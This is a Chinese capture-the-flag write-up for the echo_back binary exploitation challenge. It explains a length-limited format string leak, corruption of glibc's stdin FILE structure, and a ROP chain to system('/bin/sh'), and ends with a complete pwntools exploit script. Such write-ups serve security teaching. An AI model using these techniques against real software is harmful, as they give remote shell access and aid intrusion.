攻防世界-PWN进阶区-echo_back(CISCN-2018-Quals)

本题考查的是对格式化字符串漏洞的利用以及修改_IO_2_1_stdin来实现任意地址写

题目分析

checksec:
在这里插入图片描述
发现保护全开

源码分析:

echo函数:
在这里插入图片描述
在该函数中有明显的格式化字符串漏洞,但是格式化字符串的长度有限制,最长只能为7,这使得许多利用格式化字符串进行任意内存写的方式不能使用,不过泄露信息还是能够做到的
对于信息泄露,首先我们需要获取libc的基地址,这样我们才能计算system和/bin/sh在程序中的位置。而本题利用的泄露信息与以往的题目不同,以前一般是泄露某个库函数(read,write,printf等等)的got表地址来计算libc基地址的。但是本题因为开启了PIE以及输入长度的限制,我们难以得到got表在内存中的地址。所以本题是利用 __libc_start_main 来获取libc基地址的:main函数的返回地址为__libc_start_main + 0xf0,获得了main函数的返回地址就能计算出__libc_start_main的地址,也能计算出libc的基地址。而main函数的返回地址是保存在栈上的,根据调试可以发现使用 %19$p 就能得到main的返回地址。同理使用 %13$p就可以得到echo函数的返回地址从而计算出程序的地址。
在这里插入图片描述
通过上面的步骤我们能够计算出system和/bin/sh的地址,但是我们还需要修改函数的返回地址才能执行我们的代码。而%12$p处就保存了main函数rbp的地址,该地址+0x8就是main函数的返回地址了。
现在我们已经基本获取到了需要的地址,但是还有一个问题,就是如何把我们的rop链写入。这里就需要用到源代码中的setName函数:
在这里插入图片描述

我们先把名字设为aaaa,然后查看栈
在这里插入图片描述

可以看到我们设置的名字在%16$的位置,所以我们可以先把名字设为想要写入的地址,然后利用格式化字符串就能向该地址写入数据了。
但是还有一个问题,因为题目的限制,我们能够输入的字符数是有限的,在题目的限制下我们难以把ROP链写到返回地址上,这里我们就需要利用 _IO_2_1_stdin 了。

基础知识

在echo函数中,程序使用了scanf来读取长度,而scanf是从stdin中读取数据的,如果我们能够修改它,就能实现任意内存写入。

_IO_FILE

当Linux新建一个进程时,会自动创建3个文件描述符0、1和2,分别对应标准输入、标准输出和错误输出。C库中与文件描述符对应的是文件指针,与文件描述符0、1和2类似,我们可以直接使用文件指针stdin、stdout和stderr。
下面是stdio.h中的代码

typedef struct _IO_FILE FILE;  
 
/* Standard streams.  */  
extern struct _IO_FILE *stdin;      /* Standard input stream.  */  
extern struct _IO_FILE *stdout;     /* Standard output stream.  */  
extern struct _IO_FILE *stderr;     /* Standard error output stream.  */  
#ifdef __STDC__  
/* C89/C99 say they're macros.  Make them happy.  */  
#define stdin stdin  
#define stdout stdout  
#define stderr stderr  
#endif 

从上面的源码可以看出,stdin、stdout和stderr确实是文件指针。而C标准要求stdin、stdout和stderr是宏定义,所以在C库的代码中又定义了同名宏。stdin、stdout和stderr的定义代码如下:

_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;  
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;  
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_; 

让我们再看看文件的读取过程:
_IO_new_file_underflow 这个函数最终调用了_IO_SYSREAD系统调用来读取文件。在这之前,它做了一些处理

int _IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
  ...
  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  ## 如果输入缓冲区里存在数据,则直接返回
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
  ...
  if (fp->_IO_buf_base == NULL)
    {
      ...
      _IO_doallocbuf (fp);
    }
  ...
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;
  ##调用_IO_SYSREAD函数最终执行系统调用读取数据
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
               fp->_IO_buf_end - fp->_IO_buf_base);
  ...
  ## 设置结构体指针
  fp->_IO_read_end += count;
  ...
  return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

当_IO_read_ptr < _IO_read_end时,函数直接返回_IO_read_ptr。
否则,会调用_IO_SYSREAD向_IO_buf_base中读入数据。如果我们能够控制_IO_buf_base和_IO_buf_end的值,就可以达到任意地址写的目的了。
接下来我们再看看_IO_FILE的结构:

struct _IO_FILE {
int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

/*  char* _save_gptr;  char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

_IO_buf_base位于结构体中的第8个,所以,_IO_buf_base_addr = _IO_2_1_stdin_addr + 0x8 * 7

漏洞利用

根据上面说,本题需要先泄露出libc的基地址,然后利用格式化字符串修改_IO_buf_base和_IO_buf_end读入ROP链来执行system,具体过程如下

  1. 获得libc的基地址main函数的返回地址,并计算出system,/bin/sh,_IO_buf_base的地址
  2. 利用格式化字符串把_IO_buf_base的最低一个byte置为\x00,下面说一下为什么:

首先,我们查看一下 IO_2_1_stdin
在这里插入图片描述
在本次运行中,_IO_buf_base中存的值为0x7F8C603F6963,而_IO_2_1_stdin_的地址为0x7F8C603F68E0,从而计算出_IO_buf_base的地址为0x7F8C603F6918,把_IO_buf_base的最低一个byte置为\x00后,_IO_buf_base中存的值为0x7F8C603F6900,它正好是_IO_write_base的地址,我们写入24bytes之后,就能覆盖到_IO_buf_base和_IO_buf_end了,因此我们先把_IO_write_base,IO_write_ptr和_IO_write_end的值写回去(本题中为_IO_2_1_stdin+0x83),然后把_IO_buf_base和_IO_buf_end覆盖为main的返回地址和main的返回地址+0x18,就能把ROP链写到main函数的返回地址了

  1. 把_IO_write_base,IO_write_ptr和_IO_write_end的值写回去(本题中为_IO_2_1_stdin+0x83),然后把_IO_buf_base和_IO_buf_end覆盖为main的返回地址和main的返回地址+0x18
  2. 使用scanf写入ROP

Exp

from pwn import *

r = remote("111.198.29.45", 33654)

elf=ELF('./echo_back/echo_back')
libc=ELF('./echo_back/libc.so.6')
main = 0x000C6C
pop_rdi = 0x000d93
_IO_2_1_stdin_ = libc.symbols['_IO_2_1_stdin_']


def setName(name):
	print r.recvuntil("choice>> ")
	r.sendline('1')
	print r.recvuntil("name:")
	r.send(name)

def echo(content):
	print r.recvuntil("choice>> ")
	r.sendline('2')
	print r.recvuntil("length:")
	r.sendline('8')
	r.send(content)
	

#	get main return addr
echo("%19$p")
r.recvuntil("0x")
start_main = int(r.recvuntil('-').split('-')[0], 16) - 0xF0
libc_base = start_main - libc.symbols['__libc_start_main']
system = libc_base + libc.symbols['system']
print "system:", hex(system)
bin_sh = libc_base + libc.search('/bin/sh').next()
print "bin_sh:", hex(bin_sh)
stdin = libc_base + _IO_2_1_stdin_
buf_base = stdin + 0x8 * 7
print "IO_buf_base:", hex(buf_base)

#	get echo return addr
echo("%13$p")
r.recvuntil("0x")
main_addr = int(r.recvuntil('-').split('-')[0], 16) - 0x9C
elf_base = main_addr - main
pop_rdi_addr = elf_base + pop_rdi

#	get addr store return addr of main
echo("%12$p")
r.recvuntil("0x")
main_rbp = int(r.recvuntil('-').split('-')[0], 16)
main_ret = main_rbp + 0x8

setName(p64(buf_base))
echo('%16$hhn')
#	change stdin
payload = p64(0x83 + stdin) * 3 + p64(main_ret) + p64(main_ret + 0x18)
r.sendlineafter('choice>>','2')
r.sendafter('length:',payload)
r.sendline('')
for i in range(0, len(payload) - 1):
	r.sendlineafter('choice>>','2')
	r.sendlineafter('length:','')

#	ROP
r.sendlineafter('choice>>','2')
payload = p64(pop_rdi_addr) + p64(bin_sh) + p64(system)
r.sendafter('length:',payload)
r.sendline('')
r.sendlineafter('choice>>','3')

r.interactive()

成功获得shell:
在这里插入图片描述

发布了28 篇原创文章 · 获赞 4 · 访问量 2551

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/104629998
今日推荐